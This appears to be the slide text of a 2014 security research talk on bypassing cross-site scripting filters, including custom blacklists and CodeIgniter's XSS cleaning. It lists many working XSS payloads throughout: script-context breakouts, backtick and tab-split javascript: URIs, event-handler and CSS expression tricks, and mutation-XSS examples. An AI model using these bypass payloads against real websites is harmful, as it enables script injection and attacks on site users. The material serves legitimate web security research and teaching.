A talk by Ashar Javed
@
Garage4Hackers WebCast (28-07-2014)
Previously presented at OWASP Spain Chapter Meeting
13-06-2014, Barcelona (Spain)
In computer science, a Monkey test (aka. Mark Testing) is a unit test that runs with no specific test in mind :)
Persistent XSS Enables Large-Scale DDoS Attack
Double Quotes Case
Single Quotes Case
"; confirm(1); //
OR
'; confirm(1); //
Why no sort of encoding in script-context attack methodology?
It simply does not work. Encoding will not help you in breaking the script context unless developers are doing some sort of explicit decoding.
Better to avoid explicit decoding but I saw developers are doing explicit decoding e.g., see my short post on Yahoo Web Analytic XSS
https://twitter.com/soaj1664ashar/status/460346852580139008
and see my write-up on XSS in alexa.com
The answer is "NO". It works but does not help in breaking the context.
see demo: http://jsfiddle.net/TM679/5/
http://xssplaygroundforfunandlearn.netai.net/series7.html
take it as an exercise ....
``onmouseover=alert(1)
`` === back tick
Very useful in breaking attribute context if site is properly filtering single and double quotes
Mario Heiderich
https://twitter.com/0x6D6172696F
Another useful tool by him is
http://html5sec.org/innerhtml/
and
must read research paper by him if you are interested in innerHTML and mutation XSS
http://www.nds.rub.de/media/emma/veroeffentlichungen/2013/12/10/mXSS-CCS13.pdf
see demo http://jsfiddle.net/9t8UM/3/
http://demo.chm-software.com/7fc785c6bd26b49d7a7698a7518a73ed/
78188 XSS attack attempts from 1035 unique IP addresses and no bypass ...
It allows CSS styles ...
Two arrays of black-listed keywords :)
http://xssplayground.net23.net/clean.html
<input type=text oninput=alert(1)>
<form action=ja	vasc
ript:alert(1)><button type=submit>
All event handlers that are not part of black-listed array will bypass this protection e.g.,
onpopstate
onstorage
width:ex/**/pression(alert(1))
ja	vasc&NewLine:ript:alert(1)
'; confirm(1); '
'; confirm(1); '
http://xssplayground.net23.net/clean1.html
<img src=x id=confirm(1) onerror=eval(id)
<iframe/src=javascript:confirm%281%29
width:expression(alert(1))
Another popular customized XSS protection solution.
A popular XSLT-powered open source content management system is using detectXSS() function.
A Fully Baked PHP Framework
http://ellislab.com/codeigniter
Disallowed JavaScript in Links & Image Tags (Snapshot from the latest CodeIgniter version available at GitHub)
https://github.com/EllisLab/CodeIgniter/blob/develop/system/core/Security.php#L438
<a/href=ja	vasc
ript:confirm(1)>clclick</a>
http://xssplayground.net23.net/clean11.html (old test-bed)
http://xssplayground.net23.net/clean100.html (new test-bed)
Sanitize Naughty HTML elements
Old list of naughty elements before I started bypassing ...
<math><a/xlink:href=javascript:confirm(1)>click</a>
http://xssplayground.net23.net/clean11.html (old test-bed)
http://xssplayground.net23.net/clean100.html (new test-bed)
I was making use of these entities in order to bypass CodeIgniter's black-listing ...
https://github.com/EllisLab/CodeIgniter/blob/develop/system/core/Security.php#L592
Removes Invisible characters e.g., %00 i.e., NULL
Only useful for HTML context ....
You should not use it for attribute, style, script and URL context.
https://github.com/EllisLab/CodeIgniter/issues/2667
I surveyed top 10 sites from the following 10 categories ...